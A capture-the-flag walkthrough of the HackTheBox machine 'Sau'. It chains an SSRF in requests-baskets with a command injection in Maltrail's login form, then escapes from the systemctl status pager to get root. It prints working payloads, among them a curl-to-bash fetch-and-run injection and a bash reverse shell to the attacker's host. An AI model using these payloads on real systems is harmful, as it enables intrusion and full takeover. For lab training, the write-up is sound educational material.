index-logo

Sau - HTB

walkthrough by elswix

Machine: Sau
Difficulty: Easy
Platform: HackTheBox
Release: Released on 07/08/2023


About Sau


Sau is an easy difficulty machine on the HackTheBox platform. Firstly, we will exploit an SSRF vulnerability in requests-baskets to gain access to an internal HTTP service.


Shell as Puma


The internal HTTP service hosts a vulnerable version of Maltrail that enables us to execute commands on the victim machine with the privileges of the Puma user.


Shell as root


As the puma user, we exploit a sudoer privilege to gain access as the root user.


Recon


As always, we will perform a port scan to identify open ports on the victim machine. To conduct this scan, we'll utilize the nmap tool:

elswix@kali$ nmap -p- --open --min-rate 10000 10.10.11.224
Nmap scan report for 10.10.11.224 (10.10.11.224)
Host is up (0.14s latency).
Not shown: 58055 closed tcp ports (conn-refused), 7478 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
22/tcp    open  ssh
55555/tcp open  unknown
Once the scan is complete, we identify that ports 22 and 55555 are open on the victim machine. While I recognize that port 22 is associated with the SSH service, the service running on port 55555 is unknown to me.

To identify the service operating on port 55555, I will conduct a thorough scan using nmap. This will also provide additional information about the SSH service:

elswix@kali$ nmap -sCV -p22,55555 10.10.11.224

Nmap scan report for 10.10.11.224 (10.10.11.224)
Host is up (0.27s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
55555/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Thu, 04 Jan 2024 16:23:07 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Thu, 04 Jan 2024 16:22:32 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Thu, 04 Jan 2024 16:22:34 GMT
|_    Content-Length: 0
At first glance, port 55555 seems to be associated with an HTTP service.


Web Application - Port 55555


Since we lack valid credentials to connect to the SSH service, our next step is to enumerate the web service hosted on port 55555. Before accessing the website through my browser, I run whatweb to identify the technologies employed by the website.

elswix@kali$ whatweb -a 3 10.10.11.224:55555
http://10.10.11.224:55555 [302 Found] Country[RESERVED][ZZ], IP[10.10.11.224], RedirectLocation[/web]
http://10.10.11.224:55555/web [200 OK] Bootstrap[3.3.7], Country[RESERVED][ZZ], HTML5, IP[10.10.11.224], JQuery[3.2.1], PasswordField, Script, Title[Request Baskets]
It didn't report any useful information.

When accessing the website through our browser, we will encounter the following content:



The website appears to be utilizing request-baskets, as indicated in the footer, specifically requests-baskets version 1.2.1. Upon conducting further research on the internet, I discovered vulnerabilities associated with this particular version of requests-baskets.



There is an SSRF vulnerability in this version. SSRF (Server-Side Request Forgery) is a security vulnerability wherein an attacker can make the server perform requests to other web addresses on behalf of the server, potentially accessing sensitive information or executing unauthorized actions.

By exploiting this vulnerability, we could gain access to internal machine services that are not externally exposed. For instance, this machine might have an internal HTTP service hosted on port 80 that is not accessible externally.

While analyzing this POC, I noticed that this vulnerability stems from insecure validation of an input field, allowing us to point to the IP of the local machine (127.0.0.1).

To exploit this, I will click on "Create":



Now, click on "Open Basket":



After clicking on Configuration Settings, we need to fill in the fields with the specific information:



In my case, I will input http://127.0.0.1 into the Forward URL field and check the Proxy Response checkbox.



Finally, the basket is configured correctly to exploit this vulnerability.



Let's see what happens when we access http://10.10.11.224:55555/92abysd:



It seems that we have successfully exploited the vulnerability, gaining access to an internal service.

The internal HTTP service is running Maltrail, specifically version 0.53. Let's once again search for information about possible vulnerabilities associated with this version of Maltrail.



There is an RCE (Remote Code Execution) vulnerability. This type of vulnerability could allow us to execute commands on the victim machine and subsequently gain access to the system.

This page explains the vulnerability and provides a POC to exploit it:

"The subprocess.check_output function in mailtrail/core/http.py contains a command injection vulnerability in the params.get("username")parameter.

An attacker can exploit this vulnerability by injecting arbitrary OS commands into the username parameter. The injected commands will be executed with the privileges of the running process. This vulnerability can be exploited remotely without authentication."

Since this vulnerability is in the /login section, we need to create a new basket pointing to the http://127.0.0.1/login URL.



The new URL is http://10.10.11.224:55555/pwq96wy, so now we have to send the malicious payload. I will use curl to make the requests.

To confirm that I'm executing commands on the victim machine, I will use tcpdump to listen for ICMP traces.

elswix@kali$ sudo tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
Now, let's send the malicious request:

elswix@kali$ curl -s -X POST -d 'username=;$(ping -c 1 10.10.16.6)' 'http://10.10.11.224:55555/pwq96wy'
After sending this request, we will receive the ICMP trace:

elswix@kali$ sudo tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:11:47.939527 IP 10.10.11.224 > 10.10.16.6: ICMP echo request, id 3, seq 1, length 64
14:11:47.939558 IP 10.10.16.6 > 10.10.11.224: ICMP echo reply, id 3, seq 1, length 64
Now, to gain access to the system, I will use the common bash reverse shell, but I will save it into an index.html file:

elswix@kali$ cat index.html
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.6/3001 0>&1
Before sending the new payload, I will set up my nc listener on port 3001:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
And I will start an HTTP server on port 80 to serve the index.html file:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Now, let's send the payload:

elswix@kali$ curl -s -X POST -d 'username=;$(curl 10.10.16.6|bash)' 'http://10.10.11.224:55555/pwq96wy'
Finally, we have gained access to the system:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.224:60244.
bash: cannot set terminal process group (897): Inappropriate ioctl for device
bash: no job control in this shell
puma@sau:/opt/maltrail$
As always, let's adjust the TTY to interact more comfortably with the system:

puma@sau:/opt/maltrail$  script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
puma@sau:/opt/maltrail$  ^Z
zsh: suspended  nc -lvnp 3001

elswix@kali$ stty raw -echo;fg
[1]  + continued  nc -lvnp 3001
                               reset
reset: unknown terminal type unknown
Terminal type? xterm
puma@sau:/opt/maltrail$ export TERM=xterm
puma@sau:/opt/maltrail$ export SHELL=/bin/bash
puma@sau:/opt/maltrail$
We can read user.txt:

puma@sau:/opt/maltrail$ cd
puma@sau:~$ cat user.txt
df6cc36de5fd8c237086219a9b248ed0
puma@sau:~$


Shell as root


As puma, we don't belong to any special group:

puma@sau:/opt/maltrail$ id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
puma@sau:/opt/maltrail$
If we execute sudo -l to list our sudoers privileges, we notice the following:

puma@sau:/opt/maltrail$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:/opt/maltrail$
We can execute /usr/bin/systemctl status trail.service as any user on the system without specifying the user password.

After searching for information on the internet about systemctl status, I found a vulnerability associated with privilege escalation. This NVD article explains the vulnerability.

"systemd before 247 does not adequately block local privilege escalation for some Sudo configurations, e.g., plausible sudoers files in which the "systemctl status" command may be executed. Specifically, systemd does not set LESSSECURE to 1, and thus other programs may be launched from the less program. This presents a substantial security risk when running systemctl from Sudo, because less executes as root when the terminal size is too small to show the complete systemctl output.

As you might know, in the less program, you can execute commands using the ! character. For example, if you want to execute the whoami command, you can simply type !whoami. Since we are running less as root (as explained above), we could execute commands as this user.

Let's attempt to obtain a /bin/sh as root by running !sh:

puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
 trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
     Active: active (running) since Thu 2024-01-04 16:17:08 UTC; 1h 23min ago
       Docs: https://github.com/stamparm/maltrail#readme
             https://github.com/stamparm/maltrail/wiki
   Main PID: 897 (python3)
      Tasks: 11 (limit: 4662)
     Memory: 27.4M
     CGroup: /system.slice/trail.service
             ├─ 897 /usr/bin/python3 server.py
             ├─1311 /bin/sh -c logger -p auth.info -t "maltrail[897]" "Failed p>
             ├─1312 /bin/sh -c logger -p auth.info -t "maltrail[897]" "Failed p>
             ├─1314 bash
             ├─1315 bash -i
             ├─1323 script /dev/null -c bash
             ├─1324 bash
             ├─1340 sudo /usr/bin/systemctl status trail.service
             ├─1342 /usr/bin/systemctl status trail.service
             └─1343 pager

Jan 04 17:16:27 sau maltrail[1217]: Failed password for ; from 127.0.0.1 port 3>
Jan 04 17:17:45 sau maltrail[1241]: Failed password for ; from 127.0.0.1 port 5>
Jan 04 17:18:01 sau maltrail[1255]: Failed password for ; from 127.0.0.1 port 4>
                     trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
     Active: active (running) since Thu 2024-01-04 16:17:08 UTC; 1h 23min ago
       Docs: https://github.com/stamparm/maltrail#readme
             https://github.com/stamparm/maltrail/wiki
   Main PID: 897 (python3)
      Tasks: 11 (limit: 4662)
     Memory: 27.4M
     CGroup: /system.slice/trail.service
             ├─ 897 /usr/bin/python3 server.py
             ├─1311 /bin/sh -c logger -p auth.info -t "maltrail[897]" "Failed p>
             ├─1312 /bin/sh -c logger -p auth.info -t "maltrail[897]" "Failed p>
             ├─1314 bash
             ├─1315 bash -i
             ├─1323 script /dev/null -c bash
             ├─1324 bash
             ├─1340 sudo /usr/bin/systemctl status trail.service
             ├─1342 /usr/bin/systemctl status trail.service
             └─1343 pager

Jan 04 17:16:27 sau maltrail[1217]: Failed password for ; from 127.0.0.1 port 3>
Jan 04 17:17:45 sau maltrail[1241]: Failed password for ; from 127.0.0.1 port 5>
Jan 04 17:18:01 sau maltrail[1255]: Failed password for ; from 127.0.0.1 port 4>
!sh
# whoami
root
Finally, we can read root.txt:

# cat /root/root.txt
6214*************************5420
#